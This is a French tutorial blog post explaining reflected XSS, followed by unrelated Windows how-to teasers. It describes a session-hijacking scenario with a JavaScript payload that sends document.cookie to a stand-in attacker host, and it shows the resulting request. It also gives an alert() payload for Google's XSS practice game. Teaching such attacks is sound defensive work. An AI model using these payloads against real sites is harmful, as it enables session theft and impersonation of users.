Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Qu’est-ce que le Cross-Site Scripting ?

Le Cross-Site Scripting (XSS) est aujourd'hui l'une des techniques d'attaque les plus populaires, connue comme le parrain de l'attaque, et est répertoriée depuis de nombreuses années comme la technique d'attaque la plus dangereuse pour les applications Web.

Ne l'appelez pas CSS en abrégé pour éviter toute confusion avec le concept HTML en cascade.
La technique
XSS est basée sur l'insertion de scripts dangereux dans le code source de l'application Web. Pour exécuter du code Javascript malveillant pour reprendre la session de connexion de l'utilisateur.

Pour mieux comprendre, considérons l'exemple suivant. Une application web qui permet d'imprimer la valeur que nous transmettons via l'URL, en supposant que nous transmettons dans la variable name la valeur Ping :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Tout va bien jusqu'à présent, passons en revue le code source HTML :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

Ce qui est facile à voir, c'est que la valeur du nom que nous avons saisie a été insérée dans le code source. Il est donc possible que tout ce qui est importé puisse également être inséré. Le problème devient sérieux si la valeur saisie n'est pas une chaîne normale comme ci-dessus mais un morceau de code potentiellement dangereux, quelque chose comme ceci :

 

Réessayez avec la valeur ci-dessus :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

De cet exemple, nous pouvons conclure deux choses. Premièrement, la variable de nom peut recevoir n'importe quelle valeur d'entrée et la transmettre au serveur pour traitement. Deuxièmement, le serveur n'a pas contrôlé cette valeur d'entrée avant de la renvoyer au navigateur. Cela conduit à l'insertion du code javascript dans le code source.

XSS est généralement divisé en 3 types principaux : réfléchi, stocké et basé sur DOM. Dans cet article je mentionnerai principalement la technique Reflected XSS.

Jusqu'à 75 % des techniques XSS sont basées sur Reflected XSS. On l'appelle réfléchi car dans ce type de scénario d'exploit, le pirate informatique doit envoyer à la victime une URL contenant du code malveillant (généralement du javascript). Il suffit à la victime de demander cette URL et le pirate recevra immédiatement une réponse contenant le résultat souhaité (réflexivité affichée ici). De plus, il est également connu sous le nom de XSS de premier ordre.

Scénario minier réel

Il existe de nombreuses façons d'exploiter l'erreur Reflected XSS, l'une des méthodes les plus connues consiste à prendre le contrôle de la session de l'utilisateur, accédant ainsi aux données et obtenant ses droits sur le site Web.

Les détails sont décrits dans les étapes suivantes :

Web7 : Exploits XSS – Partie 1 : XSS réfléchi

1. L'utilisateur se connecte au Web et suppose qu'une session est attribuée :

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. D'une manière ou d'une autre, le pirate informatique envoie à l'utilisateur l'URL :

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Supposons que example.com soit le site Web visité par la victime, hacker-site.net est le site créé par le pirate informatique.

3. La victime accède à l'URL ci-dessus

4. Le serveur répond à la victime, avec les données contenues dans la requête (l'extrait javascript du hacker)

5. Le navigateur de la victime reçoit la réponse et exécute le javascript

6. Le javascript réel créé par le pirate informatique est le suivant :

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

La ligne de commande ci-dessus adresse essentiellement une requête au site du pirate informatique avec le paramètre étant le cookie utilisateur :

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Depuis votre site, le pirate informatique récupérera le contenu de la demande ci-dessus et considérera que la session de l'utilisateur est prise en charge. À ce stade, le pirate informatique peut se faire passer pour la victime et exercer tous les droits dont dispose la victime sur le site Web.

Pratique

Google a créé une page pour s'entraîner à exploiter les erreurs XSS ici : https://xss-game.appspot.com

Le but de ces défis est que vous devez injecter des scripts pour faire apparaître une popup. Le premier défi est d'illustrer la technique réfléchie, le code d'exploitation est assez simple :

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Bonne chance!


Comment lancer des applications instantanément avec Wox sous Windows

Comment lancer des applications instantanément avec Wox sous Windows

Découvrez comment utiliser Wox pour lancer vos applications, exécuter des commandes et plus encore, instantanément.

Comment créer un cercle jaune autour du pointeur de la souris sous Windows

Comment créer un cercle jaune autour du pointeur de la souris sous Windows

Découvrez comment créer un cercle jaune autour du pointeur de la souris pour le mettre en surbrillance sur Windows 10. Suivez ces étapes faciles pour améliorer votre expérience utilisateur.

Pourquoi ladresse IP de Localhost est-elle 127.0.0.1 ?

Pourquoi ladresse IP de Localhost est-elle 127.0.0.1 ?

Découvrez pourquoi l

Comment ajouter des raccourcis de dossiers au menu Démarrer sous Windows 11

Comment ajouter des raccourcis de dossiers au menu Démarrer sous Windows 11

Sous Windows 11, configurez facilement des raccourcis pour accéder rapidement à des dossiers spéciaux dans votre menu Démarrer.

8 façons de corriger lerreur Il ny a aucun élément de démarrage à afficher dans le Gestionnaire des tâches sous Windows

8 façons de corriger lerreur Il ny a aucun élément de démarrage à afficher dans le Gestionnaire des tâches sous Windows

Découvrez comment résoudre l

Comment utiliser un disque dur externe avec un Chromebook

Comment utiliser un disque dur externe avec un Chromebook

Découvrez comment utiliser un disque dur externe avec un Chromebook pour transférer et stocker vos fichiers en toute sécurité. Suivez nos étapes pour un usage optimal.

Comment activer une adresse MAC aléatoire pour le réseau WiFi sous Windows 10

Comment activer une adresse MAC aléatoire pour le réseau WiFi sous Windows 10

Dans ce guide, vous apprendrez les étapes pour toujours utiliser une adresse MAC aléatoire pour votre adaptateur WiFi sous Windows 10. Optimisez votre sécurité en ligne!

Instructions pour désinstaller Internet Explorer sous Windows 10

Instructions pour désinstaller Internet Explorer sous Windows 10

Découvrez comment désinstaller Internet Explorer 11 sur Windows 10 pour optimiser l'espace de votre disque dur.

Comment utiliser Smart Defrag pour défragmenter efficacement les disques durs

Comment utiliser Smart Defrag pour défragmenter efficacement les disques durs

Découvrez comment utiliser Smart Defrag, un logiciel de défragmentation de disque dur gratuit et efficace, pour améliorer les performances de votre ordinateur.

Comment partager un VPN via un point daccès WiFi depuis un ordinateur portable

Comment partager un VPN via un point daccès WiFi depuis un ordinateur portable

Le moyen le plus simple de déverrouiller du contenu et de protéger tous les appareils avec un VPN crypté est de partager la connexion VPN via un point d